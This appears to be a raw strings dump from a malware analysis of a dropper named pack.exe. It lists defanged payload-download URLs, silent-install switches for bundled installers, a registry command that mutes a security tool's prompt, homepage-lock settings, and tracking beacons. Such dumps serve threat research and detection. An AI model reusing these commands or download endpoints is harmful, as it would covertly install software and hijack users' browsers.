" URL="hXXp://VVV.hao123.com/?tn=95621234_hao_pg" IsLock="TRUE" />
C:\ProgramData\HomeSafe\start_config.xml
C:\ProgramData\HomeSafe\start_config.xml
%Documents and Settings%\All Users\Application Data\HomeSafe\start_config.xml
%Documents and Settings%\All Users\Application Data\HomeSafe\start_config.xml
hXXp://z11.cnzz.com/stat.htm?id=1254275466
hXXp://z11.cnzz.com/stat.htm?id=1254275466
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/qqllq/qqllq?public&code=f58c632f79fc763c3faa7a4ad4010c0b
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/qqllq/qqllq?public&code=f58c632f79fc763c3faa7a4ad4010c0b
D:\dream\lgeqq
D:\dream\lgeqq
D:\dream\qq.bat
D:\dream\qq.bat
hXXp://z11.cnzz.com/stat.htm?id=1256729438
hXXp://z11.cnzz.com/stat.htm?id=1256729438
D:\dream\js1
D:\dream\js1
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/js1/js1?public&code=65d941351a610c5689f9fc254ecca256
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/js1/js1?public&code=65d941351a610c5689f9fc254ecca256
D:\dream\js2
D:\dream\js2
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/js1/js2?public&code=b3410728b05fb0febfbc6b7edbe514f7
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/js1/js2?public&code=b3410728b05fb0febfbc6b7edbe514f7
D:\dream\duba_1_276.exe
D:\dream\duba_1_276.exe
hXXp://z13.cnzz.com/stat.htm?id=1256627376
hXXp://z13.cnzz.com/stat.htm?id=1256627376
D:\MM-liao9728.exe
D:\MM-liao9728.exe
D:\MM-liao
D:\MM-liao
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/mm?public&code=412c89b951806641268495a46a262424
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/mm?public&code=412c89b951806641268495a46a262424
hXXp://z4.cnzz.com/stat.htm?id=1254275646
hXXp://z4.cnzz.com/stat.htm?id=1254275646
hXXp://z11.cnzz.com/stat.htm?id=1254275435
hXXp://z11.cnzz.com/stat.htm?id=1254275435
%Ui,)
%Ui,)
tüV
tüV
1.2.18
1.2.18
inflate 1.1.3 Copyright 1995-1998 Mark Adler
inflate 1.1.3 Copyright 1995-1998 Mark Adler
%*.*f
%*.*f
CNotSupportedException
CNotSupportedException
commctrl_DragListMsg
commctrl_DragListMsg
Afx:%x:%x:%x:%x:%x
Afx:%x:%x:%x:%x:%x
Afx:%x:%x
Afx:%x:%x
COMCTL32.DLL
COMCTL32.DLL
CCmdTarget
CCmdTarget
MSWHEEL_ROLLMSG
MSWHEEL_ROLLMSG
__MSVCRT_HEAP_SELECT
__MSVCRT_HEAP_SELECT
portuguese-brazilian
portuguese-brazilian
MSVFW32.dll
MSVFW32.dll
AVIFIL32.dll
AVIFIL32.dll
iphlpapi.dll
iphlpapi.dll
SHLWAPI.dll
SHLWAPI.dll
MPR.dll
MPR.dll
WINMM.dll
WINMM.dll
WS2_32.dll
WS2_32.dll
VERSION.dll
VERSION.dll
RASAPI32.dll
RASAPI32.dll
GetProcessHeap
GetProcessHeap
WinExec
WinExec
GetWindowsDirectoryA
GetWindowsDirectoryA
GetCPInfo
GetCPInfo
KERNEL32.dll
KERNEL32.dll
GetKeyState
GetKeyState
GetKeyboardLayout
GetKeyboardLayout
CreateDialogIndirectParamA
CreateDialogIndirectParamA
UnhookWindowsHookEx
UnhookWindowsHookEx
SetWindowsHookExA
SetWindowsHookExA
USER32.dll
USER32.dll
GetViewportOrgEx
GetViewportOrgEx
SetViewportOrgEx
SetViewportOrgEx
OffsetViewportOrgEx
OffsetViewportOrgEx
SetViewportExtEx
SetViewportExtEx
ScaleViewportExtEx
ScaleViewportExtEx
GetViewportExtEx
GetViewportExtEx
GDI32.dll
GDI32.dll
WINSPOOL.DRV
WINSPOOL.DRV
comdlg32.dll
comdlg32.dll
RegCloseKey
RegCloseKey
RegOpenKeyExA
RegOpenKeyExA
RegCreateKeyExA
RegCreateKeyExA
ADVAPI32.dll
ADVAPI32.dll
ShellExecuteA
ShellExecuteA
SHELL32.dll
SHELL32.dll
OLEAUT32.dll
OLEAUT32.dll
COMCTL32.dll
COMCTL32.dll
WININET.dll
WININET.dll
.PAVCException@@
.PAVCException@@
.PAVCNotSupportedException@@
.PAVCNotSupportedException@@
.PAVCFileException@@
.PAVCFileException@@
(*.prn)|*.prn|
(*.prn)|*.prn|
(*.*)|*.*||
(*.*)|*.*||
Shell32.dll
Shell32.dll
Mpr.dll
Mpr.dll
Advapi32.dll
Advapi32.dll
User32.dll
User32.dll
Gdi32.dll
Gdi32.dll
Kernel32.dll
Kernel32.dll
(&07-034/)7 '
(&07-034/)7 '
?? / %d]
?? / %d]
%d / %d]
%d / %d]
: %d]
: %d]
(*.WAV;*.MID)|*.WAV;*.MID|WAV
(*.WAV;*.MID)|*.WAV;*.MID|WAV
(*.WAV)|*.WAV|MIDI
(*.WAV)|*.WAV|MIDI
(*.MID)|*.MID|
(*.MID)|*.MID|
(*.txt)|*.txt|
(*.txt)|*.txt|
(*.JPG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.BMP;*.GIF;*.ICO;*.CUR|JPG
(*.JPG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.BMP;*.GIF;*.ICO;*.CUR|JPG
(*.JPG)|*.JPG|BMP
(*.JPG)|*.JPG|BMP
(*.BMP)|*.BMP|GIF
(*.BMP)|*.BMP|GIF
(*.GIF)|*.GIF|
(*.GIF)|*.GIF|
(*.ICO)|*.ICO|
(*.ICO)|*.ICO|
(*.CUR)|*.CUR|
(*.CUR)|*.CUR|
%s:%d
%s:%d
windows
windows
out.prn
out.prn
%d.%d
%d.%d
%d / %d
%d / %d
%d/%d
%d/%d
Bogus message code %d
Bogus message code %d
(%d-%d):
(%d-%d):
%ld%c
%ld%c
(*.avi)|*.avi
(*.avi)|*.avi
WPFT532.CNV
WPFT532.CNV
WPFT632.CNV
WPFT632.CNV
EXCEL32.CNV
EXCEL32.CNV
write32.wpc
write32.wpc
Windows Write
Windows Write
mswrd632.wpc
mswrd632.wpc
Word for Windows 6.0
Word for Windows 6.0
wword5.cnv
wword5.cnv
Word for Windows 5.0
Word for Windows 5.0
mswrd832.cnv
mswrd832.cnv
mswrd632.cnv
mswrd632.cnv
Word 6.0/95 for Windows & Macintosh
Word 6.0/95 for Windows & Macintosh
html32.cnv
html32.cnv
Service Pack %d
Service Pack %d
Windows 2003
Windows 2003
Windows XP
Windows XP
Windows 2000
Windows 2000
Windows NT
Windows NT
Windows ??
Windows ??
Windows Millenium Edition
Windows Millenium Edition
Windows 98 Second Edition
Windows 98 Second Edition
Windows 98 SP1
Windows 98 SP1
Windows 98
Windows 98
Windows 95 OSR2
Windows 95 OSR2
Windows 95 SP1
Windows 95 SP1
Windows 95
Windows 95
Windows CE
Windows CE
Microsoft Windows Me
Microsoft Windows Me
Microsoft Windows 98
Microsoft Windows 98
Microsoft Windows 95
Microsoft Windows 95
Microsoft Windows 2003
Microsoft Windows 2003
Microsoft Windows XP
Microsoft Windows XP
Microsoft Windows 2000
Microsoft Windows 2000
Microsoft Windows NT
Microsoft Windows NT
KERNEL32.DLL
KERNEL32.DLL
%s
%s
Reply-To: %s
Reply-To: %s
From: %s
From: %s
To: %s
To: %s
Subject: %s
Subject: %s
Date: %s
Date: %s
Cc: %s
Cc: %s
%a, %d %b %Y %H:%M:%S
%a, %d %b %Y %H:%M:%S
SMTP
SMTP
.PAVCObject@@
.PAVCObject@@
.PAVCSimpleException@@
.PAVCSimpleException@@
.PAVCMemoryException@@
.PAVCMemoryException@@
.?AVCNotSupportedException@@
.?AVCNotSupportedException@@
.PAVCResourceException@@
.PAVCResourceException@@
.PAVCUserException@@
.PAVCUserException@@
.?AVCCmdTarget@@
.?AVCCmdTarget@@
.?AVCCmdUI@@
.?AVCCmdUI@@
.?AVCTestCmdUI@@
.?AVCTestCmdUI@@
.PAVCArchiveException@@
.PAVCArchiveException@@
zcÃ
zcÃ
Microsoft .NET Framework 2.0 Service Pack 1
Microsoft .NET Framework 2.0 Service Pack 1
x86 9.0.30729.4148
x86 9.0.30729.4148
D:\dream\pack.exe
D:\dream\pack.exe
????????
????????
kernel32.dll
kernel32.dll
(*.*)
(*.*)
5.2.1.0
5.2.1.0
pack.exe_264_rwx_003F0000_00003000:
The procedure %s could not be located in the DLL %s.
The procedure %s could not be located in the DLL %s.
The ordinal %d could not be located in the DLL %s.
The ordinal %d could not be located in the DLL %s.
pack.exe_264_rwx_00401000_0024A000:
t$(SSh
t$(SSh
~%UVW
~%UVW
.tTPV
.tTPV
FTPjK
FTPjK
FtPj;
FtPj;
F.PjRWj
F.PjRWj
u.WWj
u.WWj
u.VVj
u.VVj
u$SShe
u$SShe
user32.dll
user32.dll
urlmon
urlmon
ole32.dll
ole32.dll
shell32.dll
shell32.dll
MsgWaitForMultipleObjects
MsgWaitForMultipleObjects
RegOpenKeyA
RegOpenKeyA
RegEnumKeyA
RegEnumKeyA
URLDownloadToFileA
URLDownloadToFileA
D:\dream
D:\dream
D:\dream\win1.log
D:\dream\win1.log
D:\dream\winky.log
D:\dream\winky.log
360tray.exe
360tray.exe
D:\dream\winzy.log
D:\dream\winzy.log
C:\Users\Public\Desktop\UC
C:\Users\Public\Desktop\UC
%Documents and Settings%\All Users\
%Documents and Settings%\All Users\
Software\Microsoft\Windows\CurrentVersion\Uninstall
Software\Microsoft\Windows\CurrentVersion\Uninstall
Software\Microsoft\Windows\CurrentVersion\Uninstall\
Software\Microsoft\Windows\CurrentVersion\Uninstall\
Windows
Windows
C:\Users\Public\Desktop\QQ
C:\Users\Public\Desktop\QQ
C:\Users\Public\Desktop\
C:\Users\Public\Desktop\
D:\dream\b2.bat
D:\dream\b2.bat
D:\dream\2k
D:\dream\2k
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/2k2/2k?public&code=fc2d8fa2450ac946c7590ef0ace43135
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/2k2/2k?public&code=fc2d8fa2450ac946c7590ef0ace43135
D:\dream\2345pic_k1252705.exe
D:\dream\2345pic_k1252705.exe
D:\dream\2345pic_k1252705.exe -s1
D:\dream\2345pic_k1252705.exe -s1
2345pic_k1252705.exe
2345pic_k1252705.exe
C:\Users\
C:\Users\
%Documents and Settings%\
%Documents and Settings%\
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall
HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall
HKEY_USERS\S-1-5-21-4278381565-3782908184-2563460023-1000\Software\Microsoft\Windows\CurrentVersion\Uninstall
HKEY_USERS\S-1-5-21-4278381565-3782908184-2563460023-1000\Software\Microsoft\Windows\CurrentVersion\Uninstall
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
HKEY_USERS\S-1-5-21-442436397-1971995177-210813084-500\Software\Microsoft\Windows\CurrentVersion\Uninstall
HKEY_USERS\S-1-5-21-442436397-1971995177-210813084-500\Software\Microsoft\Windows\CurrentVersion\Uninstall
D:\dream\1.bat
D:\dream\1.bat
hXXp://z4.cnzz.com/stat.htm?id=1254275459
hXXp://z4.cnzz.com/stat.htm?id=1254275459
WinHttp.WinHttpRequest.5.1
WinHttp.WinHttpRequest.5.1
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Content-Type: application/x-www-form-urlencoded
Content-Type: application/x-www-form-urlencoded
D:\dream\ky
D:\dream\ky
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/ky2/ky?public&code=39fb8b340dbdf91bfa4cff7423147311
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/ky2/ky?public&code=39fb8b340dbdf91bfa4cff7423147311
D:\dream\Kuaizip_Setup_union123_0088.exe
D:\dream\Kuaizip_Setup_union123_0088.exe
D:\dream\Kuaizip_Setup_union123_0088.exe /JingMo
D:\dream\Kuaizip_Setup_union123_0088.exe /JingMo
D:\dream\ky.bat
D:\dream\ky.bat
hXXp://z13.cnzz.com/stat.htm?id=1256550373
hXXp://z13.cnzz.com/stat.htm?id=1256550373
D:\dream\zy
D:\dream\zy
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/zy2/zy?public&code=94979ed818604a3f6632db70c4686078
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/zy2/zy?public&code=94979ed818604a3f6632db70c4686078
D:\dream\lgezy
D:\dream\lgezy
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/3/lge?public&code=84c5751f6a57ab5839dc76a83b46d24d
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/3/lge?public&code=84c5751f6a57ab5839dc76a83b46d24d
D:\dream\BlueInstaller_bsvalkkx_101101_.exe
D:\dream\BlueInstaller_bsvalkkx_101101_.exe
D:\dream\BlueResource.bpk
D:\dream\BlueResource.bpk
C:\Users\Public\Desktop\hao123
C:\Users\Public\Desktop\hao123
set "w71=Microsoft\Windows\Start Menu\Programs"
set "w71=Microsoft\Windows\Start Menu\Programs"
set "w72=Microsoft\Windows\Start Menu"
set "w72=Microsoft\Windows\Start Menu"
"%USERPROFILE%\%xp1%"
"%USERPROFILE%\%xp1%"
"%ALLUSERSPROFILE%\%xp1%"
"%ALLUSERSPROFILE%\%xp1%"
"%USERPROFILE%\%xp2%"
"%USERPROFILE%\%xp2%"
"%ALLUSERSPROFILE%\%xp2%"
"%ALLUSERSPROFILE%\%xp2%"
reg add "HKEY_CURRENT_USER\Software\HomeSafe" /v "StartFlagNoTip" /t REG_DWORD /d 1 /f
reg add "HKEY_CURRENT_USER\Software\HomeSafe" /v "StartFlagNoTip" /t REG_DWORD /d 1 /f
D:\dream\zy.bat
D:\dream\zy.bat
hXXp://z11.cnzz.com/stat.htm?id=1256550363
hXXp://z11.cnzz.com/stat.htm?id=1256550363
D:\dream\uc1
D:\dream\uc1
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/uc3/uc1?public&code=4920014f1661ee276c5f76c3c78da609
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/uc3/uc1?public&code=4920014f1661ee276c5f76c3c78da609
D:\dream\uc2
D:\dream\uc2
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/uc3/uc2?public&code=aee9f4689bf38dc8ed8798557f99fc1e
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/uc3/uc2?public&code=aee9f4689bf38dc8ed8798557f99fc1e
D:\dream\uc3
D:\dream\uc3
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/uc3/uc3?public&code=9e2daf370bb626b150e2632982713131
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/uc3/uc3?public&code=9e2daf370bb626b150e2632982713131
D:\dream\uc4
D:\dream\uc4
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/uc3/uc4?public&code=477f04f9957303bb4bdb48129dce1667
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/uc3/uc4?public&code=477f04f9957303bb4bdb48129dce1667
D:\dream\uc5
D:\dream\uc5
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/uc3/uc5?public&code=33abc4df613448c4d0a5e5a96af653dd
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/uc3/uc5?public&code=33abc4df613448c4d0a5e5a96af653dd
D:\dream\uc6
D:\dream\uc6
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/uc3/uc6?public&code=68fd52b4583e5ce722c5b1ef3c2155cc
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/uc3/uc6?public&code=68fd52b4583e5ce722c5b1ef3c2155cc
D:\dream\lgeuc
D:\dream\lgeuc
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/lge/lge?public&code=411f778b2af125c63e48c0bafb370ced
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/lge/lge?public&code=411f778b2af125c63e48c0bafb370ced
D:\dream\uc.bat
D:\dream\uc.bat
" URL="hXXp://VVV.hao123.com/?tn=96468612_hao_pg" IsLock="TRUE" />
" URL="hXXp://VVV.hao123.com/?tn=96468612_hao_pg" IsLock="TRUE" />
" URL="hXXp://VVV.hao123.com/?tn=97215765_hao_pg" IsLock="TRUE" />
" URL="hXXp://VVV.hao123.com/?tn=97215765_hao_pg" IsLock="TRUE" />
" URL="hXXp://hao.360.cn/?src=lm&ls=n6f9da49b8f" IsLock="TRUE" />
" URL="hXXp://hao.360.cn/?src=lm&ls=n6f9da49b8f" IsLock="TRUE" />
" URL="hXXp://VVV.hao123.com/?tn=96074770_hao_pg" IsLock="TRUE" />
" URL="hXXp://VVV.hao123.com/?tn=96074770_hao_pg" IsLock="TRUE" />
" URL="hXXp://VVV.hao123.com/?tn=96982550_hao_pg" IsLock="TRUE" />
" URL="hXXp://VVV.hao123.com/?tn=96982550_hao_pg" IsLock="TRUE" />
" URL="hXXp://VVV.hao123.com/?tn=95621234_hao_pg" IsLock="TRUE" />
" URL="hXXp://VVV.hao123.com/?tn=95621234_hao_pg" IsLock="TRUE" />
C:\ProgramData\HomeSafe\start_config.xml
C:\ProgramData\HomeSafe\start_config.xml
%Documents and Settings%\All Users\Application Data\HomeSafe\start_config.xml
%Documents and Settings%\All Users\Application Data\HomeSafe\start_config.xml
hXXp://z11.cnzz.com/stat.htm?id=1254275466
hXXp://z11.cnzz.com/stat.htm?id=1254275466
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/qqllq/qqllq?public&code=f58c632f79fc763c3faa7a4ad4010c0b
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/qqllq/qqllq?public&code=f58c632f79fc763c3faa7a4ad4010c0b
D:\dream\lgeqq
D:\dream\lgeqq
D:\dream\qq.bat
D:\dream\qq.bat
hXXp://z11.cnzz.com/stat.htm?id=1256729438
hXXp://z11.cnzz.com/stat.htm?id=1256729438
D:\dream\js1
D:\dream\js1
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/js1/js1?public&code=65d941351a610c5689f9fc254ecca256
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/js1/js1?public&code=65d941351a610c5689f9fc254ecca256
D:\dream\js2
D:\dream\js2
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/js1/js2?public&code=b3410728b05fb0febfbc6b7edbe514f7
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/js1/js2?public&code=b3410728b05fb0febfbc6b7edbe514f7
D:\dream\duba_1_276.exe
D:\dream\duba_1_276.exe
hXXp://z13.cnzz.com/stat.htm?id=1256627376
hXXp://z13.cnzz.com/stat.htm?id=1256627376
D:\MM-liao9728.exe
D:\MM-liao9728.exe
D:\MM-liao
D:\MM-liao
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/mm?public&code=412c89b951806641268495a46a262424
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/mm?public&code=412c89b951806641268495a46a262424
hXXp://z4.cnzz.com/stat.htm?id=1254275646
hXXp://z4.cnzz.com/stat.htm?id=1254275646
hXXp://z11.cnzz.com/stat.htm?id=1254275435
hXXp://z11.cnzz.com/stat.htm?id=1254275435
%Ui,)
%Ui,)
tüV
tüV
1.2.18
1.2.18
inflate 1.1.3 Copyright 1995-1998 Mark Adler
inflate 1.1.3 Copyright 1995-1998 Mark Adler
%*.*f
%*.*f
CNotSupportedException
CNotSupportedException
commctrl_DragListMsg
commctrl_DragListMsg
Afx:%x:%x:%x:%x:%x
Afx:%x:%x:%x:%x:%x
Afx:%x:%x
Afx:%x:%x
COMCTL32.DLL
COMCTL32.DLL
CCmdTarget
CCmdTarget
MSWHEEL_ROLLMSG
MSWHEEL_ROLLMSG
__MSVCRT_HEAP_SELECT
__MSVCRT_HEAP_SELECT
portuguese-brazilian
portuguese-brazilian
MSVFW32.dll
MSVFW32.dll
AVIFIL32.dll
AVIFIL32.dll
iphlpapi.dll
iphlpapi.dll
SHLWAPI.dll
SHLWAPI.dll
MPR.dll
MPR.dll
WINMM.dll
WINMM.dll
WS2_32.dll
WS2_32.dll
VERSION.dll
VERSION.dll
RASAPI32.dll
RASAPI32.dll
GetProcessHeap
GetProcessHeap
WinExec
WinExec
GetWindowsDirectoryA
GetWindowsDirectoryA
GetCPInfo
GetCPInfo
KERNEL32.dll
KERNEL32.dll
GetKeyState
GetKeyState
GetKeyboardLayout
GetKeyboardLayout
CreateDialogIndirectParamA
CreateDialogIndirectParamA
UnhookWindowsHookEx
UnhookWindowsHookEx
SetWindowsHookExA
SetWindowsHookExA
USER32.dll
USER32.dll
GetViewportOrgEx
GetViewportOrgEx
SetViewportOrgEx
SetViewportOrgEx
OffsetViewportOrgEx
OffsetViewportOrgEx
SetViewportExtEx
SetViewportExtEx
ScaleViewportExtEx
ScaleViewportExtEx
GetViewportExtEx
GetViewportExtEx
GDI32.dll
GDI32.dll
WINSPOOL.DRV
WINSPOOL.DRV
comdlg32.dll
comdlg32.dll
RegCloseKey
RegCloseKey
RegOpenKeyExA
RegOpenKeyExA
RegCreateKeyExA
RegCreateKeyExA
ADVAPI32.dll
ADVAPI32.dll
ShellExecuteA
ShellExecuteA
SHELL32.dll
SHELL32.dll
OLEAUT32.dll
OLEAUT32.dll
COMCTL32.dll
COMCTL32.dll
WININET.dll
WININET.dll
.PAVCException@@
.PAVCException@@
.PAVCNotSupportedException@@
.PAVCNotSupportedException@@
.PAVCFileException@@
.PAVCFileException@@
(*.prn)|*.prn|
(*.prn)|*.prn|
(*.*)|*.*||
(*.*)|*.*||
Shell32.dll
Shell32.dll
Mpr.dll
Mpr.dll
Advapi32.dll
Advapi32.dll
User32.dll
User32.dll
Gdi32.dll
Gdi32.dll
Kernel32.dll
Kernel32.dll
(&07-034/)7 '
(&07-034/)7 '
?? / %d]
?? / %d]
%d / %d]
%d / %d]
: %d]
: %d]
(*.WAV;*.MID)|*.WAV;*.MID|WAV
(*.WAV;*.MID)|*.WAV;*.MID|WAV
(*.WAV)|*.WAV|MIDI
(*.WAV)|*.WAV|MIDI
(*.MID)|*.MID|
(*.MID)|*.MID|
(*.txt)|*.txt|
(*.txt)|*.txt|
(*.JPG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.BMP;*.GIF;*.ICO;*.CUR|JPG
(*.JPG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.BMP;*.GIF;*.ICO;*.CUR|JPG
(*.JPG)|*.JPG|BMP
(*.JPG)|*.JPG|BMP
(*.BMP)|*.BMP|GIF
(*.BMP)|*.BMP|GIF
(*.GIF)|*.GIF|
(*.GIF)|*.GIF|
(*.ICO)|*.ICO|
(*.ICO)|*.ICO|
(*.CUR)|*.CUR|
(*.CUR)|*.CUR|
%s:%d
%s:%d
windows
windows
out.prn
out.prn
%d.%d
%d.%d
%d / %d
%d / %d
%d/%d
%d/%d
Bogus message code %d
Bogus message code %d
(%d-%d):
(%d-%d):
%ld%c
%ld%c
(*.avi)|*.avi
(*.avi)|*.avi
WPFT532.CNV
WPFT532.CNV
WPFT632.CNV
WPFT632.CNV
EXCEL32.CNV
EXCEL32.CNV
write32.wpc
write32.wpc
Windows Write
Windows Write
mswrd632.wpc
mswrd632.wpc
Word for Windows 6.0
Word for Windows 6.0
wword5.cnv
wword5.cnv
Word for Windows 5.0
Word for Windows 5.0
mswrd832.cnv
mswrd832.cnv
mswrd632.cnv
mswrd632.cnv
Word 6.0/95 for Windows & Macintosh
Word 6.0/95 for Windows & Macintosh
html32.cnv
html32.cnv
Service Pack %d
Service Pack %d
Windows 2003
Windows 2003
Windows XP
Windows XP
Windows 2000
Windows 2000
Windows NT
Windows NT
Windows ??
Windows ??
Windows Millenium Edition
Windows Millenium Edition
Windows 98 Second Edition
Windows 98 Second Edition
Windows 98 SP1
Windows 98 SP1
Windows 98
Windows 98
Windows 95 OSR2
Windows 95 OSR2
Windows 95 SP1
Windows 95 SP1
Windows 95
Windows 95
Windows CE
Windows CE
Microsoft Windows Me
Microsoft Windows Me
Microsoft Windows 98
Microsoft Windows 98
Microsoft Windows 95
Microsoft Windows 95
Microsoft Windows 2003
Microsoft Windows 2003
Microsoft Windows XP
Microsoft Windows XP
Microsoft Windows 2000
Microsoft Windows 2000
Microsoft Windows NT
Microsoft Windows NT
KERNEL32.DLL
KERNEL32.DLL
%s
%s
Reply-To: %s
Reply-To: %s
From: %s
From: %s
To: %s
To: %s
Subject: %s
Subject: %s
Date: %s
Date: %s
Cc: %s
Cc: %s
%a, %d %b %Y %H:%M:%S
%a, %d %b %Y %H:%M:%S
SMTP
SMTP
.PAVCObject@@
.PAVCObject@@
.PAVCSimpleException@@
.PAVCSimpleException@@
.PAVCMemoryException@@
.PAVCMemoryException@@
.?AVCNotSupportedException@@
.?AVCNotSupportedException@@
.PAVCResourceException@@
.PAVCResourceException@@
.PAVCUserException@@
.PAVCUserException@@
.?AVCCmdTarget@@
.?AVCCmdTarget@@
.?AVCCmdUI@@
.?AVCCmdUI@@
.?AVCTestCmdUI@@
.?AVCTestCmdUI@@
.PAVCArchiveException@@
.PAVCArchiveException@@
zcÃ
zcÃ
Microsoft .NET Framework 2.0 Service Pack 1
Microsoft .NET Framework 2.0 Service Pack 1
x86 9.0.30729.4148
x86 9.0.30729.4148
D:\dream\pack.exe
D:\dream\pack.exe
(*.*)
(*.*)
pack.exe_264_rwx_00650000_00002000:
????????
????????
kernel32.dll
kernel32.dll
MSVFW32.dll
MSVFW32.dll
AVIFIL32.dll
AVIFIL32.dll
WINMM.dll
WINMM.dll
WS2_32.dll
WS2_32.dll
VERSION.dll
VERSION.dll
RASAPI32.dll
RASAPI32.dll
USER32.dll
USER32.dll
GDI32.dll
GDI32.dll
WINSPOOL.DRV
WINSPOOL.DRV
comdlg32.dll
comdlg32.dll
ADVAPI32.dll
ADVAPI32.dll
RegCloseKey
RegCloseKey
SHELL32.dll
SHELL32.dll
ole32.dll
ole32.dll
OLEAUT32.dll
OLEAUT32.dll
COMCTL32.dll
COMCTL32.dll
WININET.dll
WININET.dll
5.2.1.0
5.2.1.0